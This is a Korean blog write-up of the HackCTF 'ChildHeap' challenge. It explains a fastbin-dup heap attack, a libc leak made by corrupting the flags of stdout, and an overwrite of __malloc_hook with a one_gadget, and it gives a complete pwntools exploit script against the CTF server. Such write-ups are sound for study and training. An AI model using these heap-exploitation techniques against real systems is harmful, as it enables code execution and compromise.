본문 바로가기

ChildHeap 본문

wargame/HackCTF

ChildHeap

Seongjun_You 2021. 12. 23. 17:57

코드 구성은 간단했다.

 

1번 메뉴에서 원하는 사이즈와 인덱스로 malloc을 할당한다.

2번 메뉴에서 원하는 인덱스를 free 한다.

 

babyheap 문제 처럼 fastbin dup을 진행하려 했으나 어떤 식으로 libc_base를 leak 해야 할지 몰랐다.

인터넷을 참고했다. stdout의 flag를 조작하여 put함수가 실행되었을 때 주소를 출력하게 만들 수 있다고 한다.

 

먼저 libc_base를 leak 하는 과정을 살펴보도록 한다.

 

 

unsorted bin을 생성하기 위해 0x80 이상의 크기를 할당해주었고 나머지는 fastbin으로 할당받는다.

0번째 를 free 하면 main_arena+88의 주소가 나올 것이다.

 

unsortedbin에 첫 번째 malloc이 들어간 모습이다.

 

stdout을 조작하기 위해 밑줄 친 주소를 수정해야 한다. 하위 1.5byte는 같기에 0.5byte를 브루트포싱을 진행하면 된다.

?5dd 로 수정하면 된다. 그럼 7f를 size로 인식하여 fbad2887를 수정할 수 있게 된다.

 

 

 

 

0x7ffff70a4343이 아니라 0x7ffff7dd?5dd 로 덮어야 하는데 일단 임의의 byte를 삽입한 모습이다.

 

 

 

fastbindup을 이용해 stdout에 data를 써준다.

 

 

이렇게 stdout의 주소가 나오는 것을 확인할 수 있다.

 

 

 

 

그리고 다시 fastbindup을 이용해 저번 문제 babyheap처럼 malloc_hook에 one_gadget을 덮어준다.

 

exploit code

from pwn import *
context.log_level = 'Debug'
libc = ELF('./libc.so.6')

def add_malloc(idx, size, data):
	time.sleep(0.1)
	p.sendlineafter("> ", "1")
	p.sendlineafter("index: ", str(idx))
	p.sendlineafter("size: ", str(size))
	p.sendafter("content: ", data)

def free_malloc(idx):
	time.sleep(0.1)
	p.sendlineafter("> ", "2")
	p.sendlineafter("index: ", str(idx))


while True:
	#p = process('./childheap')
	p = remote('ctf.j0n9hyun.xyz', 3033)
	add_malloc(0, 0x80, "AAAA") # unsorted bin
	add_malloc(1, 0x60, "AAAA")
	add_malloc(2, 0x60, "AAAA")
	free_malloc(0)
	add_malloc(0, 0x60, "\xdd\x25") #_IO_2_1_stdout - 0x43

	free_malloc(2)
	free_malloc(1)
	free_malloc(2)

	add_malloc(2,0x60,"\x00")
	add_malloc(0,0x60, "A")
	add_malloc(0,0x60, "A")
	add_malloc(0,0x60, "A")

	try:
		add_malloc(0,0x60, '\x00'*0x33 + p64(0xfbad1800) + '\x00'*25)
	except:
		p.close()
		continue

	p.recv(0x48)
	leak_stdout = u64(p.recv(8))-131
	print("-----------------"+str(hex(leak_stdout)))
	break

libc_base = leak_stdout - libc.sym["_IO_2_1_stdout_"]
malloc_hook = libc_base + libc.sym["__malloc_hook"]
one_gadget = libc_base + 0xf1147

add_malloc(0, 0x60, "AAAA")
add_malloc(1, 0x60, "AAAA")
free_malloc(0)
free_malloc(1)
free_malloc(0)

add_malloc(0,0x60,p64(malloc_hook-35))
add_malloc(1, 0x60, "AAAA")
add_malloc(1, 0x60, "AAAA")
add_malloc(0, 0x60,"A"*19 +  p64(one_gadget))

p.sendlineafter("> ", "1")
p.sendlineafter("index: ", "0")
p.sendlineafter("size: ", "16")

p.interactive()

stdout의 flag를 0xfbad1800로 수정한다. 마지막 \x00를 25개 넣는 이유는 

_IO_write_base를 00바이트로 수정하여 출력 값을 늘리기 위해서인 듯하다.

 

 

 

fastbindup을 진행할 때 data를 보내는 영역에서 sendlineafter를 사용하면 EOF에러가 나온다. sendafter를 사용하였다.

이것 때문에 어이없게 오랜 시간 삽질을 했다.

 

 

 

너무 어려웠다.

 

'wargame > HackCTF' 카테고리의 다른 글

Unexploitable #3  (0) 2021.12.24
babyfsb  (0) 2021.12.22
j0n9hyun's secret  (0) 2021.12.21
babyheap  (0) 2021.12.21
Unexploitable #2  (0) 2021.12.17
Comments